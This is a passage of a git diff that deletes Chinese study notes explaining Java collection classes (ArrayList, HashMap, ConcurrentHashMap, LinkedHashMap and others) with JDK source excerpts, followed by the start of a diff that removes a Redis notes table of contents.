-
-- Vector：和 ArrayList 类似，但它是线程安全的。
-
-- LinkedList：基于双向链表实现，只能顺序访问，但是可以快速地在链表中间插入和删除元素。不仅如此，LinkedList 还可以用作栈、队列和双向队列。
-
-### 3. Queue
-
-- LinkedList：可以用它来实现双向队列。
-
-- PriorityQueue：基于堆结构实现，可以用它来实现优先队列。
-
-## Map
-
-<div align="center"> <img src="../pics//java-collections1.png"/> </div><br>
-
-- HashMap：基于哈希实现；
-
-- HashTable：和 HashMap 类似，但它是线程安全的，这意味着同一时刻多个线程可以同时写入 HashTable 并且不会导致数据不一致。它是遗留类，不应该去使用它。现在可以使用 ConcurrentHashMap 来支持线程安全，并且 ConcurrentHashMap 的效率会更高，因为 ConcurrentHashMap 引入了分段锁。
-
-- LinkedHashMap：使用链表来维护元素的顺序，顺序为插入顺序或者最近最少使用（LRU）顺序。
-
-- TreeMap：基于红黑树实现。
-
-# 二、容器中的设计模式
-
-## 迭代器模式
-
-<div align="center"> <img src="../pics//Iterator-1.jpg"/> </div><br>
-
-Collection 实现了 Iterable 接口，其中的 iterator() 方法能够产生一个 Iterator 对象，通过这个对象就可以迭代遍历 Collection 中的元素。
-
-从 JDK 1.5 之后可以使用 foreach 方法来遍历实现了 Iterable 接口的聚合对象。
-
-```java
-List<String> list = new ArrayList<>();
-list.add("a");
-list.add("b");
-for (String item : list) {
-    System.out.println(item);
-}
-```
-
-## 适配器模式
-
-java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
-
-```java
-@SafeVarargs
-public static <T> List<T> asList(T... a)
-```
-
-应该注意的是 asList() 的参数为泛型的变长参数，不能使用基本类型数组作为参数，只能使用相应的包装类型数组。
-
-```java
-Integer[] arr = {1, 2, 3};
-List list = Arrays.asList(arr);
-```
-
-也可以使用以下方式使用 asList()：
-
-```java
-List list = Arrays.asList(1,2,3);
-```
-
-# 三、源码分析
-
-如果没有特别说明，以下源码分析基于 JDK 1.8。
-
-在 IDEA 中 double shift 调出 Search EveryWhere，查找源码文件，找到之后就可以阅读源码。
-
-## ArrayList
-
-### 1. 概览
-
-实现了 RandomAccess 接口，因此支持随机访问，这是理所当然的，因为 ArrayList 是基于数组实现的。
-
-```java
-public class ArrayList<E> extends AbstractList<E>
-        implements List<E>, RandomAccess, Cloneable, java.io.Serializable
-```
-
-数组的默认大小为 10。
-
-```java
-private static final int DEFAULT_CAPACITY = 10;
-```
-
-### 2. 序列化
-
-基于数组实现，保存元素的数组使用 transient 修饰，该关键字声明数组默认不会被序列化。ArrayList 具有动态扩容特性，因此保存元素的数组不一定都会被使用，那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
-
-```java
-transient Object[] elementData; // non-private to simplify nested class access
-```
-
-### 3. 扩容
-
-添加元素时使用 ensureCapacityInternal() 方法来保证容量足够，如果不够时，需要使用 grow() 方法进行扩容，新容量的大小为 `oldCapacity + (oldCapacity >> 1)`，也就是旧容量的 1.5 倍。
-
-扩容操作需要调用 `Arrays.copyOf()` 把原数组整个复制到新数组中，这个操作代价很高，因此最好在创建 ArrayList 对象时就指定大概的容量大小，减少扩容操作的次数。
-
-```java
-public boolean add(E e) {
-    ensureCapacityInternal(size + 1);  // Increments modCount!!
-    elementData[size++] = e;
-    return true;
-}
-
-private void ensureCapacityInternal(int minCapacity) {
-    if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {
-        minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);
-    }
-    ensureExplicitCapacity(minCapacity);
-}
-
-private void ensureExplicitCapacity(int minCapacity) {
-    modCount++;
-    // overflow-conscious code
-    if (minCapacity - elementData.length > 0)
-        grow(minCapacity);
-}
-
-private void grow(int minCapacity) {
-    // overflow-conscious code
-    int oldCapacity = elementData.length;
-    int newCapacity = oldCapacity + (oldCapacity >> 1);
-    if (newCapacity - minCapacity < 0)
-        newCapacity = minCapacity;
-    if (newCapacity - MAX_ARRAY_SIZE > 0)
-        newCapacity = hugeCapacity(minCapacity);
-    // minCapacity is usually close to size, so this is a win:
-    elementData = Arrays.copyOf(elementData, newCapacity);
-}
-```
-
-### 4. 删除元素
-
-需要调用 System.arraycopy() 将 index+1 后面的元素都复制到 index 位置上。
-
-```java
-public E remove(int index) {
-    rangeCheck(index);
-    modCount++;
-    E oldValue = elementData(index);
-    int numMoved = size - index - 1;
-    if (numMoved > 0)
-        System.arraycopy(elementData, index+1, elementData, index, numMoved);
-    elementData[--size] = null; // clear to let GC do its work
-    return oldValue;
-}
-```
-
-### 5. Fail-Fast
-
-modCount 用来记录 ArrayList 结构发生变化的次数。结构发生变化是指添加或者删除至少一个元素的所有操作，或者是调整内部数组的大小，仅仅只是设置元素的值不算结构发生变化。
-
-在进行序列化或者迭代等操作时，需要比较操作前后 modCount 是否改变，如果改变了需要抛出 ConcurrentModificationException。
-
-```java
-private void writeObject(java.io.ObjectOutputStream s)
-    throws java.io.IOException{
-    // Write out element count, and any hidden stuff
-    int expectedModCount = modCount;
-    s.defaultWriteObject();
-
-    // Write out size as capacity for behavioural compatibility with clone()
-    s.writeInt(size);
-
-    // Write out all elements in the proper order.
-    for (int i=0; i<size; i++) {
-        s.writeObject(elementData[i]);
-    }
-
-    if (modCount != expectedModCount) {
-        throw new ConcurrentModificationException();
-    }
-}
-```
-
-## Vector
-
-### 1. 同步
-
-它的实现与 ArrayList 类似，但是使用了 synchronized 进行同步。
-
-```java
-public synchronized boolean add(E e) {
-    modCount++;
-    ensureCapacityHelper(elementCount + 1);
-    elementData[elementCount++] = e;
-    return true;
-}
-
-public synchronized E get(int index) {
-    if (index >= elementCount)
-        throw new ArrayIndexOutOfBoundsException(index);
-
-    return elementData(index);
-}
-```
-
-### 2. 与 ArrayList 的区别
-
-- Vector 是同步的，因此开销就比 ArrayList 要大，访问速度更慢。最好使用 ArrayList 而不是 Vector，因为同步操作完全可以由程序员自己来控制；
-- Vector 每次扩容请求其大小的 2 倍空间，而 ArrayList 是 1.5 倍。
-
-### 3. 替代方案
-
-为了获得线程安全的 ArrayList，可以使用 `Collections.synchronizedList();` 得到一个线程安全的 ArrayList。
-
-```java
-List<String> list = new ArrayList<>();
-List<String> synList = Collections.synchronizedList(list);
-```
-
-也可以使用 concurrent 并发包下的 CopyOnWriteArrayList 类。
-
-```java
-List<String> list = new CopyOnWriteArrayList<>();
-```
-
-## CopyOnWriteArrayList
-
-### 读写分离
-
-写操作在一个复制的数组上进行，读操作还是在原始数组中进行，读写分离，互不影响。
-
-写操作需要加锁，防止同时并发写入时导致的写入数据丢失。
-
-写操作结束之后需要把原始数组指向新的复制数组。
-
-```java
-public boolean add(E e) {
-    final ReentrantLock lock = this.lock;
-    lock.lock();
-    try {
-        Object[] elements = getArray();
-        int len = elements.length;
-        Object[] newElements = Arrays.copyOf(elements, len + 1);
-        newElements[len] = e;
-        setArray(newElements);
-        return true;
-    } finally {
-        lock.unlock();
-    }
-}
-
-final void setArray(Object[] a) {
-    array = a;
-}
-```
-
-```java
-@SuppressWarnings("unchecked")
-private E get(Object[] a, int index) {
-    return (E) a[index];
-}
-```
-
-### 适用场景
-
-CopyOnWriteArrayList 在写操作的同时允许读操作，大大提高了读操作的性能，因此很适合读多写少的应用场景。
-
-但是 CopyOnWriteArrayList 有其缺陷：
-
-- 内存占用：在写操作时需要复制一个新的数组，使得内存占用为原来的两倍左右；
-- 数据不一致：读操作不能读取实时性的数据，因为部分写操作的数据还未同步到读数组中。
-
-所以 CopyOnWriteArrayList 不适合内存敏感以及对实时性要求很高的场景。
-
-## LinkedList
-
-### 1. 概览
-
-基于双向链表实现，内部使用 Node 来存储链表节点信息。
-
-```java
-private static class Node<E> {
-    E item;
-    Node<E> next;
-    Node<E> prev;
-}
-```
-
-每个链表存储了 first 和 last 指针：
-
-```java
-transient Node<E> first;
-transient Node<E> last;
-```
-
-<div align="center"> <img src="../pics//5158bc2f-83a6-4351-817e-c9b07f955d76.png"/> </div><br>
-
-### 2. ArrayList 与 LinkedList
-
-- ArrayList 基于动态数组实现，LinkedList 基于双向链表实现；
-- ArrayList 支持随机访问，LinkedList 不支持；
-- LinkedList 在任意位置添加删除元素更快。
-
-## HashMap
-
-为了便于理解，以下源码分析以 JDK 1.7 为主。
-
-### 1. 存储结构
-
-内部包含了一个 Entry 类型的数组 table。
-
-```java
-transient Entry[] table;
-```
-
-其中，Entry 就是存储数据的键值对，它包含了四个字段。从 next 字段我们可以看出 Entry 是一个链表，即数组中的每个位置被当成一个桶，一个桶存放一个链表，链表中存放哈希值相同的 Entry。也就是说，HashMap 使用拉链法来解决冲突。
-
-<div align="center"> <img src="../pics//8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/> </div><br>
-
-```java
-static class Entry<K,V> implements Map.Entry<K,V> {
-    final K key;
-    V value;
-    Entry<K,V> next;
-    int hash;
-
-    Entry(int h, K k, V v, Entry<K,V> n) {
-        value = v;
-        next = n;
-        key = k;
-        hash = h;
-    }
-
-    public final K getKey() {
-        return key;
-    }
-
-    public final V getValue() {
-        return value;
-    }
-
-    public final V setValue(V newValue) {
-        V oldValue = value;
-        value = newValue;
-        return oldValue;
-    }
-
-    public final boolean equals(Object o) {
-        if (!(o instanceof Map.Entry))
-            return false;
-        Map.Entry e = (Map.Entry)o;
-        Object k1 = getKey();
-        Object k2 = e.getKey();
-        if (k1 == k2 || (k1 != null && k1.equals(k2))) {
-            Object v1 = getValue();
-            Object v2 = e.getValue();
-            if (v1 == v2 || (v1 != null && v1.equals(v2)))
-                return true;
-        }
-        return false;
-    }
-
-    public final int hashCode() {
-        return Objects.hashCode(getKey()) ^ Objects.hashCode(getValue());
-    }
-
-    public final String toString() {
-        return getKey() + "=" + getValue();
-    }
-
-    /**
-     * This method is invoked whenever the value in an entry is
-     * overwritten by an invocation of put(k,v) for a key k that's already
-     * in the HashMap.
-     */
-    void recordAccess(HashMap<K,V> m) {
-    }
-
-    /**
-     * This method is invoked whenever the entry is
-     * removed from the table.
-     */
-    void recordRemoval(HashMap<K,V> m) {
-    }
-}
-```
-
-### 2. 拉链法的工作原理
-
-```java
-HashMap<String, String> map = new HashMap<>();
-map.put("K1", "V1");
-map.put("K2", "V2");
-map.put("K3", "V3");
-```
-
-- 新建一个 HashMap，默认大小为 16；
-- 插入 &lt;K1,V1> 键值对，先计算 K1 的 hashCode 为 115，使用除留余数法得到所在的桶下标 115%16=3。
-- 插入 &lt;K2,V2> 键值对，先计算 K2 的 hashCode 为 118，使用除留余数法得到所在的桶下标 118%16=6。
-- 插入 &lt;K3,V3> 键值对，先计算 K3 的 hashCode 为 118，使用除留余数法得到所在的桶下标 118%16=6，插在 &lt;K2,V2> 前面。
-
-应该注意到链表的插入是以头插法方式进行的，例如上面的 &lt;K3,V3> 不是插在 &lt;K2,V2> 后面，而是插入在链表头部。
-
-查找需要分成两步进行：
-
-- 计算键值对所在的桶；
-- 在链表上顺序查找，时间复杂度显然和链表的长度成正比。
-
-<div align="center"> <img src="../pics//49d6de7b-0d0d-425c-9e49-a1559dc23b10.png" width="600"/> </div><br>
-
-### 3. put 操作
-
-```java
-public V put(K key, V value) {
-    if (table == EMPTY_TABLE) {
-        inflateTable(threshold);
-    }
-    // 键为 null 单独处理
-    if (key == null)
-        return putForNullKey(value);
-    int hash = hash(key);
-    // 确定桶下标
-    int i = indexFor(hash, table.length);
-    // 先找出是否已经存在键为 key 的键值对，如果存在的话就更新这个键值对的值为 value
-    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
-        Object k;
-        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
-            V oldValue = e.value;
-            e.value = value;
-            e.recordAccess(this);
-            return oldValue;
-        }
-    }
-
-    modCount++;
-    // 插入新键值对
-    addEntry(hash, key, value, i);
-    return null;
-}
-```
-
-HashMap 允许插入键为 null 的键值对。因为无法调用 null 的 hashCode()，也就无法确定该键值对的桶下标，只能通过强制指定一个桶下标来存放。HashMap 使用第 0 个桶存放键为 null 的键值对。
-
-```java
-private V putForNullKey(V value) {
-    for (Entry<K,V> e = table[0]; e != null; e = e.next) {
-        if (e.key == null) {
-            V oldValue = e.value;
-            e.value = value;
-            e.recordAccess(this);
-            return oldValue;
-        }
-    }
-    modCount++;
-    addEntry(0, null, value, 0);
-    return null;
-}
-```
-
-使用链表的头插法，也就是新的键值对插在链表的头部，而不是链表的尾部。
-
-```java
-void addEntry(int hash, K key, V value, int bucketIndex) {
-    if ((size >= threshold) && (null != table[bucketIndex])) {
-        resize(2 * table.length);
-        hash = (null != key) ? hash(key) : 0;
-        bucketIndex = indexFor(hash, table.length);
-    }
-
-    createEntry(hash, key, value, bucketIndex);
-}
-
-void createEntry(int hash, K key, V value, int bucketIndex) {
-    Entry<K,V> e = table[bucketIndex];
-    // 头插法，链表头部指向新的键值对
-    table[bucketIndex] = new Entry<>(hash, key, value, e);
-    size++;
-}
-```
-
-```java
-Entry(int h, K k, V v, Entry<K,V> n) {
-    value = v;
-    next = n;
-    key = k;
-    hash = h;
-}
-```
-
-### 4. 确定桶下标
-
-很多操作都需要先确定一个键值对所在的桶下标。
-
-```java
-int hash = hash(key);
-int i = indexFor(hash, table.length);
-```
-
-（一）计算 hash 值
-
-```java
-final int hash(Object k) {
-    int h = hashSeed;
-    if (0 != h && k instanceof String) {
-        return sun.misc.Hashing.stringHash32((String) k);
-    }
-
-    h ^= k.hashCode();
-
-    // This function ensures that hashCodes that differ only by
-    // constant multiples at each bit position have a bounded
-    // number of collisions (approximately 8 at default load factor).
-    h ^= (h >>> 20) ^ (h >>> 12);
-    return h ^ (h >>> 7) ^ (h >>> 4);
-}
-```
-
-```java
-public final int hashCode() {
-    return Objects.hashCode(key) ^ Objects.hashCode(value);
-}
-```
-
-（二）取模
-
-令 x = 1<<4，即 x 为 2 的 4 次方，它具有以下性质：
-
-```
-x   : 00010000
-x-1 : 00001111
-```
-
-令一个数 y 与 x-1 做与运算，可以去除 y 位级表示的第 4 位以上数：
-
-```
-y       : 10110010
-x-1     : 00001111
-y&(x-1) : 00000010
-```
-
-这个性质和 y 对 x 取模效果是一样的：
-
-```
-x   : 00010000
-y   : 10110010
-y%x : 00000010
-```
-
-我们知道，位运算的代价比求模运算小的多，因此在进行这种计算时用位运算的话能带来更高的性能。
-
-确定桶下标的最后一步是将 key 的 hash 值对桶个数取模：hash%capacity，如果能保证 capacity 为 2 的 n 次方，那么就可以将这个操作转换为位运算。
-
-```java
-static int indexFor(int h, int length) {
-    return h & (length-1);
-}
-```
-
-### 5. 扩容-基本原理
-
-设 HashMap 的 table 长度为 M，需要存储的键值对数量为 N，如果哈希函数满足均匀性的要求，那么每条链表的长度大约为 N/M，因此平均查找次数的复杂度为 O(N/M)。
-
-为了让查找的成本降低，应该尽可能使得 N/M 尽可能小，因此需要保证 M 尽可能大，也就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值，使得空间效率和时间效率都能得到保证。
-
-和扩容相关的参数主要有：capacity、size、threshold 和 load_factor。
-
-| 参数 | 含义 |
-| :--: | :-- |
-| capacity | table 的容量大小，默认为 16，需要注意的是 capacity 必须保证为 2 的 n 次方。|
-| size | table 的实际使用量。 |
-| threshold | size 的临界值，size 必须小于 threshold，如果大于等于，就必须进行扩容操作。 |
-| load_factor | 装载因子，table 能够使用的比例，threshold = capacity * load_factor。|
-
-```java
-static final int DEFAULT_INITIAL_CAPACITY = 16;
-
-static final int MAXIMUM_CAPACITY = 1 << 30;
-
-static final float DEFAULT_LOAD_FACTOR = 0.75f;
-
-transient Entry[] table;
-
-transient int size;
-
-int threshold;
-
-final float loadFactor;
-
-transient int modCount;
-```
-
-从下面的添加元素代码中可以看出，当需要扩容时，令 capacity 为原来的两倍。
-
-```java
-void addEntry(int hash, K key, V value, int bucketIndex) {
-    Entry<K,V> e = table[bucketIndex];
-    table[bucketIndex] = new Entry<>(hash, key, value, e);
-    if (size++ >= threshold)
-        resize(2 * table.length);
-}
-```
-
-扩容使用 resize() 实现，需要注意的是，扩容操作同样需要把旧 table 的所有键值对重新插入新的 table 中，因此这一步是很费时的。
-
-```java
-void resize(int newCapacity) {
-    Entry[] oldTable = table;
-    int oldCapacity = oldTable.length;
-    if (oldCapacity == MAXIMUM_CAPACITY) {
-        threshold = Integer.MAX_VALUE;
-        return;
-    }
-    Entry[] newTable = new Entry[newCapacity];
-    transfer(newTable);
-    table = newTable;
-    threshold = (int)(newCapacity * loadFactor);
-}
-
-void transfer(Entry[] newTable) {
-    Entry[] src = table;
-    int newCapacity = newTable.length;
-    for (int j = 0; j < src.length; j++) {
-        Entry<K,V> e = src[j];
-        if (e != null) {
-            src[j] = null;
-            do {
-                Entry<K,V> next = e.next;
-                int i = indexFor(e.hash, newCapacity);
-                e.next = newTable[i];
-                newTable[i] = e;
-                e = next;
-            } while (e != null);
-        }
-    }
-}
-```
-
-### 6. 扩容-重新计算桶下标
-
-在进行扩容时，需要把键值对重新放到对应的桶上。HashMap 使用了一个特殊的机制，可以降低重新计算桶下标的操作。
-
-假设原数组长度 capacity 为 8，扩容之后 new capacity 为 16：
-
-```html
-capacity     : 00010000
-new capacity : 00100000
-```
-
-对于一个 Key，它的哈希值如果在第 6 位上为 0，那么取模得到的结果和之前一样；如果为 1，那么得到的结果为原来的结果 + 8。
-
-### 7. 扩容-计算数组容量
-
-HashMap 构造函数允许用户传入的容量不是 2 的 n 次方，因为它可以自动地将传入的容量转换为 2 的 n 次方。
-
-先考虑如何求一个数的掩码，对于 10010000，它的掩码为 11111111，可以使用以下方法得到：
-
-```
-mask |= mask >> 1    11011000
-mask |= mask >> 2    11111100
-mask |= mask >> 4    11111111
-```
-
-mask+1 是大于原始数字的最小的 2 的 n 次方。
-
-```
-num     10010000
-mask+1 100000000
-```
-
-以下是 HashMap 中计算数组容量的代码：
-
-```java
-static final int tableSizeFor(int cap) {
-    int n = cap - 1;
-    n |= n >>> 1;
-    n |= n >>> 2;
-    n |= n >>> 4;
-    n |= n >>> 8;
-    n |= n >>> 16;
-    return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
-}
-```
-
-### 8. 链表转红黑树
-
-从 JDK 1.8 开始，一个桶存储的链表长度大于 8 时会将链表转换为红黑树。
-
-### 9. HashMap 与 HashTable
-
-- HashTable 使用 synchronized 来进行同步。
-- HashMap 可以插入键为 null 的 Entry。
-- HashMap 的迭代器是 fail-fast 迭代器。
-- HashMap 不能保证随着时间的推移 Map 中的元素次序是不变的。
-
-## ConcurrentHashMap
-
-### 1. 存储结构
-
-```java
-static final class HashEntry<K,V> {
-    final int hash;
-    final K key;
-    volatile V value;
-    volatile HashEntry<K,V> next;
-}
-```
-
-ConcurrentHashMap 和 HashMap 实现上类似，最主要的差别是 ConcurrentHashMap 采用了分段锁（Segment），每个分段锁维护着几个桶（HashEntry），多个线程可以同时访问不同分段锁上的桶，从而使其并发度更高（并发度就是 Segment 的个数）。
-
-Segment 继承自 ReentrantLock。
-
-```java
-static final class Segment<K,V> extends ReentrantLock implements Serializable {
-
-    private static final long serialVersionUID = 2249069246763182397L;
-
-    static final int MAX_SCAN_RETRIES =
-        Runtime.getRuntime().availableProcessors() > 1 ? 64 : 1;
-
-    transient volatile HashEntry<K,V>[] table;
-
-    transient int count;
-
-    transient int modCount;
-
-    transient int threshold;
-
-    final float loadFactor;
-}
-```
-
-```java
-final Segment<K,V>[] segments;
-```
-
-默认的并发级别为 16，也就是说默认创建 16 个 Segment。
-
-```java
-static final int DEFAULT_CONCURRENCY_LEVEL = 16;
-```
-
-<div align="center"> <img src="../pics//3fdfc89d-719e-4d93-b518-29fa612b3b18.png"/> </div><br>
-
-### 2. size 操作
-
-每个 Segment 维护了一个 count 变量来统计该 Segment 中的键值对个数。
-
-```java
-/**
- * The number of elements. Accessed only either within locks
- * or among other volatile reads that maintain visibility.
- */
-transient int count;
-```
-
-在执行 size 操作时，需要遍历所有 Segment 然后把 count 累计起来。
-
-ConcurrentHashMap 在执行 size 操作时先尝试不加锁，如果连续两次不加锁操作得到的结果一致，那么可以认为这个结果是正确的。
-
-尝试次数使用 RETRIES_BEFORE_LOCK 定义，该值为 2，retries 初始值为 -1，因此尝试次数为 3。
-
-如果尝试的次数超过 3 次，就需要对每个 Segment 加锁。
-
-```java
-
-/**
- * Number of unsynchronized retries in size and containsValue
- * methods before resorting to locking. This is used to avoid
- * unbounded retries if tables undergo continuous modification
- * which would make it impossible to obtain an accurate result.
- */
-static final int RETRIES_BEFORE_LOCK = 2;
-
-public int size() {
-    // Try a few times to get accurate count. On failure due to
-    // continuous async changes in table, resort to locking.
-    final Segment<K,V>[] segments = this.segments;
-    int size;
-    boolean overflow; // true if size overflows 32 bits
-    long sum;         // sum of modCounts
-    long last = 0L;   // previous sum
-    int retries = -1; // first iteration isn't retry
-    try {
-        for (;;) {
-            // 超过尝试次数，则对每个 Segment 加锁
-            if (retries++ == RETRIES_BEFORE_LOCK) {
-                for (int j = 0; j < segments.length; ++j)
-                    ensureSegment(j).lock(); // force creation
-            }
-            sum = 0L;
-            size = 0;
-            overflow = false;
-            for (int j = 0; j < segments.length; ++j) {
-                Segment<K,V> seg = segmentAt(segments, j);
-                if (seg != null) {
-                    sum += seg.modCount;
-                    int c = seg.count;
-                    if (c < 0 || (size += c) < 0)
-                        overflow = true;
-                }
-            }
-            // 连续两次得到的结果一致，则认为这个结果是正确的
-            if (sum == last)
-                break;
-            last = sum;
-        }
-    } finally {
-        if (retries > RETRIES_BEFORE_LOCK) {
-            for (int j = 0; j < segments.length; ++j)
-                segmentAt(segments, j).unlock();
-        }
-    }
-    return overflow ? Integer.MAX_VALUE : size;
-}
-```
-
-### 3. JDK 1.8 的改动
-
-JDK 1.7 使用分段锁机制来实现并发更新操作，核心类为 Segment，它继承自重入锁 ReentrantLock，并发程度与 Segment 数量相等。
-
-JDK 1.8 使用了 CAS 操作来支持更高的并发度，在 CAS 操作失败时使用内置锁 synchronized。
-
-并且 JDK 1.8 的实现也在链表过长时会转换为红黑树。
-
-## LinkedHashMap
-
-### 存储结构
-
-继承自 HashMap，因此具有和 HashMap 一样的快速查找特性。
-
-```java
-public class LinkedHashMap<K,V> extends HashMap<K,V> implements Map<K,V>
-```
-
-内存维护了一个双向循环链表，用来维护插入顺序或者 LRU 顺序。
-
-```java
-/**
- * The head (eldest) of the doubly linked list.
- */
-transient LinkedHashMap.Entry<K,V> head;
-
-/**
- * The tail (youngest) of the doubly linked list.
- */
-transient LinkedHashMap.Entry<K,V> tail;
-```
-
-顺序使用 accessOrder 来决定，默认为 false，此时使用的是插入顺序。
-
-```java
-final boolean accessOrder;
-```
-
-LinkedHashMap 最重要的是以下用于记录顺序的函数，它们会在 put、get 等方法中调用。
-
-```java
-void afterNodeAccess(Node<K,V> p) { }
-void afterNodeInsertion(boolean evict) { }
-```
-
-### afterNodeAccess()
-
-当一个 Node 被访问时，如果 accessOrder 为 true，会将它移到链表尾部。也就是说指定为 LRU 顺序之后，在每次访问一个节点时，会将这个节点移到链表尾部，保证链表尾部是最近访问的节点，那么链表首部就是最近最久未使用的节点。
-
-```java
-void afterNodeAccess(Node<K,V> e) { // move node to last
-    LinkedHashMap.Entry<K,V> last;
-    if (accessOrder && (last = tail) != e) {
-        LinkedHashMap.Entry<K,V> p =
-            (LinkedHashMap.Entry<K,V>)e, b = p.before, a = p.after;
-        p.after = null;
-        if (b == null)
-            head = a;
-        else
-            b.after = a;
-        if (a != null)
-            a.before = b;
-        else
-            last = b;
-        if (last == null)
-            head = p;
-        else {
-            p.before = last;
-            last.after = p;
-        }
-        tail = p;
-        ++modCount;
-    }
-}
-```
-
-### afterNodeInsertion()
-
-在 put 等操作之后执行，当 removeEldestEntry() 方法返回 ture 时会移除最晚的节点，也就是链表首部节点 first。
-
-evict 只有在构建 Map 的时候才为 false，在这里为 true。
-
-```java
-void afterNodeInsertion(boolean evict) { // possibly remove eldest
-    LinkedHashMap.Entry<K,V> first;
-    if (evict && (first = head) != null && removeEldestEntry(first)) {
-        K key = first.key;
-        removeNode(hash(key), key, null, false, true);
-    }
-}
-```
-
-removeEldestEntry() 默认为 false，如果需要让它为 true，需要继承 LinkedHashMap 并且覆盖这个方法的实现，这在实现 LRU 的缓存中特别有用，通过移除最近最久未使用的节点，从而保证缓存空间足够，并且缓存的数据都是热点数据。
-
-```java
-protected boolean removeEldestEntry(Map.Entry<K,V> eldest) {
-        return false;
-    }
-```
-
-### LRU 缓存
-
-以下是使用 LinkedHashMap 实现的一个 LRU 缓存，设定最大缓存空间 MAX_ENTRIES  为 3。使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true，开启 LUR 顺序。覆盖 removeEldestEntry() 方法实现，在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。
-
-```java
-class LRUCache<K, V> extends LinkedHashMap<K, V> {
-    private static final int MAX_ENTRIES = 3;
-
-    protected boolean removeEldestEntry(Map.Entry eldest) {
-        return size() > MAX_ENTRIES;
-    }
-
-    LRUCache() {
-        super(MAX_ENTRIES, 0.75f, true);
-    }
-}
-```
-
-```java
-public static void main(String[] args) {
-    LRUCache<Integer, String> cache = new LRUCache<>();
-    cache.put(1, "a");
-    cache.put(2, "b");
-    cache.put(3, "c");
-    cache.get(1);
-    cache.put(4, "d");
-    System.out.println(cache.keySet());
-}
-```
-
-```html
-[3, 1, 4]
-```
-
-## WeekHashMap
-
-### 存储结构
-
-WeakHashMap 的 Entry 继承自 WeakReference，被 WeakReference 关联的对象在下一次垃圾回收时会被回收。
-
-WeakHashMap 主要用来实现缓存，通过使用 WeakHashMap 来引用缓存对象，由 JVM 对这部分缓存进行回收。
-
-```java
-private static class Entry<K,V> extends WeakReference<Object> implements Map.Entry<K,V>
-```
-
-### ConcurrentCache
-
-Tomcat 中的 ConcurrentCache 就使用了 WeakHashMap 来实现缓存功能。
-
-ConcurrentCache 采取的是分代缓存：
-
-- 经常使用的对象放入 eden 中，eden 使用 ConcurrentHashMap 实现，不用担心会被回收（伊甸园）；
-- 不常用的对象放入 longterm，longterm 使用 WeakHashMap 实现，用来存放比较老的对象，这些老对象会被垃圾收集器回收。
-
-```java
-public final class ConcurrentCache<K, V> {
-
-    private final int size;
-
-    private final Map<K, V> eden;
-
-    private final Map<K, V> longterm;
-
-    public ConcurrentCache(int size) {
-        this.size = size;
-        this.eden = new ConcurrentHashMap<>(size);
-        this.longterm = new WeakHashMap<>(size);
-    }
-
-    public V get(K k) {
-        V v = this.eden.get(k);
-        if (v == null) {
-            v = this.longterm.get(k);
-            if (v != null)
-                this.eden.put(k, v);
-        }
-        return v;
-    }
-
-    public void put(K k, V v) {
-        if (this.eden.size() >= size) {
-            this.longterm.putAll(this.eden);
-            this.eden.clear();
-        }
-        this.eden.put(k, v);
-    }
-}
-```
-
-
-# 参考资料
-
-- Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.
-- [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php)
-- [Iterator 模式](https://openhome.cc/Gossip/DesignPattern/IteratorPattern.htm)
-- [Java 8 系列之重新认识 HashMap](https://tech.meituan.com/java-hashmap.html)
-- [What is difference between HashMap and Hashtable in Java?](http://javarevisited.blogspot.hk/2010/10/difference-between-hashmap-and.html)
-- [Java 集合之 HashMap](http://www.zhangchangle.com/2018/02/07/Java%E9%9B%86%E5%90%88%E4%B9%8BHashMap/)
-- [The principle of ConcurrentHashMap analysis](http://www.programering.com/a/MDO3QDNwATM.html)
-- [探索 ConcurrentHashMap 高并发性的实现机制](https://www.ibm.com/developerworks/cn/java/java-lo-concurrenthashmap/)
-- [HashMap 相关面试题及其解答](https://www.jianshu.com/p/75adf47958a7)
-- [Java 集合细节（二）：asList 的缺陷](http://wiki.jikexueyuan.com/project/java-enhancement/java-thirtysix.html)
-- [Java Collection Framework – The LinkedList Class](http://javaconceptoftheday.com/java-collection-framework-linkedlist-class/)
-
diff --git a/notes/Redis.md b/notes/Redis.md
index c54287c8..649f563a 100644
--- a/notes/Redis.md
+++ b/notes/Redis.md
@@ -1,606 +1,4 @@
 <!-- GFM-TOC -->
-* [一、概述](#一概述)
-* [二、数据类型](#二数据类型)
-    * [STRING](#string)
-    * [LIST](#list)
-    * [SET](#set)
-    * [HASH](#hash)
-    * [ZSET](#zset)
-* [三、数据结构](#三数据结构)
-    * [字典](#字典)
-    * [跳跃表](#跳跃表)
-* [四、使用场景](#四使用场景)
-    * [计数器](#计数器)
-    * [缓存](#缓存)
-    * [查找表](#查找表)
-    * [消息队列](#消息队列)
-    * [会话缓存](#会话缓存)
-    * [分布式锁实现](#分布式锁实现)
-    * [其它](#其它)
-* [五、Redis 与 Memcached](#五redis-与-memcached)
-    * [数据类型](#数据类型)
-    * [数据持久化](#数据持久化)
-    * [分布式](#分布式)
-    * [内存管理机制](#内存管理机制)
-* [六、键的过期时间](#六键的过期时间)
-* [七、数据淘汰策略](#七数据淘汰策略)
-* [八、持久化](#八持久化)
-    * [RDB 持久化](#rdb-持久化)
-    * [AOF 持久化](#aof-持久化)
-* [九、事务](#九事务)
-* [十、事件](#十事件)
-    * [文件事件](#文件事件)
-    * [时间事件](#时间事件)
-    * [事件的调度与执行](#事件的调度与执行)
-* [十一、复制](#十一复制)
-    * [连接过程](#连接过程)
-    * [主从链](#主从链)
-* [十二、Sentinel](#十二sentinel)
-* [十三、分片](#十三分片)
-* [十四、一个简单的论坛系统分析](#十四一个简单的论坛系统分析)
-    * [文章信息](#文章信息)
-    * [点赞功能](#点赞功能)
-    * [对文章进行排序](#对文章进行排序)
-* [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
 
-# 一、概述
-
